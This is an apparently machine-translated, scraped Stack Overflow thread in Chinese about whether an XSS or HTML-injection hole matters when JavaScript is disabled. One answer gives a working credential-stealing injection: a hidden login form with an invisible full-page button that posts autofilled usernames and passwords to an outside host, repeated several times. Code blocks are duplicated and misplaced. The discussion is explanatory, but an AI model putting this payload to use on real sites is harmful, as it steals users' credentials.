禁用JavaScript时XSS攻击

禁用JavaScript时XSS攻击,javascript,xss,Javascript,Xss,在我工作的一个网站上,我试图让McAffee白名单成为一个假定的漏洞,我感到非常沮丧。问题是,他们的自动化系统检测到一个假定的XSS漏洞,但该漏洞仅在禁用JavaScript时存在。考虑到需要禁用JavaScript才能存在漏洞,那么这肯定意味着这不是漏洞。有人能想出任何可能的相反论点吗 更新-要添加更多详细信息: 问题来自一个地方,未初始化的URL内容被写入锚定标记href。因此,禁用JS后,您可能会出现如下情况: <a href="foor.php?"><script>

在我工作的一个网站上,我试图让McAffee白名单成为一个假定的漏洞,我感到非常沮丧。问题是,他们的自动化系统检测到一个假定的XSS漏洞,但该漏洞仅在禁用JavaScript时存在。考虑到需要禁用JavaScript才能存在漏洞,那么这肯定意味着这不是漏洞。有人能想出任何可能的相反论点吗

更新-要添加更多详细信息:

问题来自一个地方,未初始化的URL内容被写入锚定标记href。因此,禁用JS后,您可能会出现如下情况:

<a href="foor.php?"><script>alert('foo')</script>#someanchor" ..
<form action="http://evil.hackademix.net/log" method="POST">
    <div style="position: absolute; top: -5000px">
    <input type="text" name="username">
    <input type="password" name="password">
    </div>
    <input type="submit" value="pwn me" 
    style="opacity: 0; position: absolute; left: 0; top: 0; width: 100%; height: 100%;"
    >
</form>


因此,启用JS后,链接不再被注入,禁用JS后,警报将不再执行

您需要更改页面

<a href="default_for_javascript_disabled" id="speciallink">link</a>

<script type="text/javascript">
    var link = document.getElementById("speciallink");
    link.href = "value_for_javascript_enabled";
</script>

var link=document.getElementById(“speciallink”);
link.href=“已启用javascript的值”;

如果您的站点有一个登录表单,并且用户启用了密码自动填充,那么我可能希望插入如下内容:

<form action="http://evil.hackademix.net/log" method="POST">
<div style="position: absolute; top: -5000px">
<input type="text" name="username">
<input type="password" name="password">
</div>
<input type="submit" value="pwn me" 
style="opacity: 0; position: absolute; left: 0; top: 0; width: 100%; height: 100%;"
>
</form>

只要用户单击页面上的任何位置,他的凭据就会登录到我的站点:)
它不是严格意义上的XSS(除非你考虑HTML+CSS)脚本“Lato SeSU”,但几乎同样邪恶。

<a href="foor.php?"><script>alert('foo')</script>#someanchor" ..
<form action="http://evil.hackademix.net/log" method="POST">
    <div style="position: absolute; top: -5000px">
    <input type="text" name="username">
    <input type="password" name="password">
    </div>
    <input type="submit" value="pwn me" 
    style="opacity: 0; position: absolute; left: 0; top: 0; width: 100%; height: 100%;"
    >
</form>


更不用说使用或元素可以做的好事了……

当禁用JavaScripts时,我能想到的唯一一个利用页面的例子是当您过度依赖JavaScript时

想象一下,当你有一些可点击的按钮时,你想在页面加载/标签更改等过程中使用JavaScript更改的CSS对用户隐藏它

在正常情况下,您知道普通用户将无法看到此按钮,因为它是隐藏的,但如果禁用JavaScript,页面的所有内容将立即呈现,显示一些“隐藏”功能。(我写的是用撇号隐藏的单词,因为用CSS隐藏东西一开始是个坏主意,但这又取决于我们的按钮有什么样的功能)

其他例子:

<a href="/nice/clean/url/" onclick="Update.Panel.Using(Ajax); return false;">Next Page</a>

正如您这次看到的,当禁用JavaScript时,用户将被重定向到链接的url,更新面板操作将不会执行。大多数情况下,您使用此技巧将网站爬虫从href标记重定向到正确的页面,并以不同的方式对待用户,因为在他们的浏览器上,JavaScript是打开的,所以您可以做一些“很酷的事情”

我不确定这是否正确回答了您的问题,但总的来说-只要确保功能被复制/工作方式与启用JavaScript时相同。

我不理解“启用JavaScript时此href被更新”位

如果您在服务器端执行此操作,那么它必须基于一些事先检测,而这些检测不可能完全准确。攻击者可能会使用CSRF愚弄检测(例如,在重定向到XSS易受攻击页面之前,将受害者打开
example.com/?disabled_js=1

如果您在客户端执行,那么已经太晚了,因为注入的HTML将在脚本运行之前被解析


要回答您的问题,当用户禁用JS时,XSS是不可能的。然而,HTML注入还有其他一些攻击,如钓鱼和CSRF。没错,我也可以清理变量。我不是在寻找解决方案,但我真正想知道的是,是否可能存在需要禁用JavaScript的XSS漏洞。在我看来,使用JavaScript修复XSS似乎不是最可靠的计划….?你在和自己交谈吗P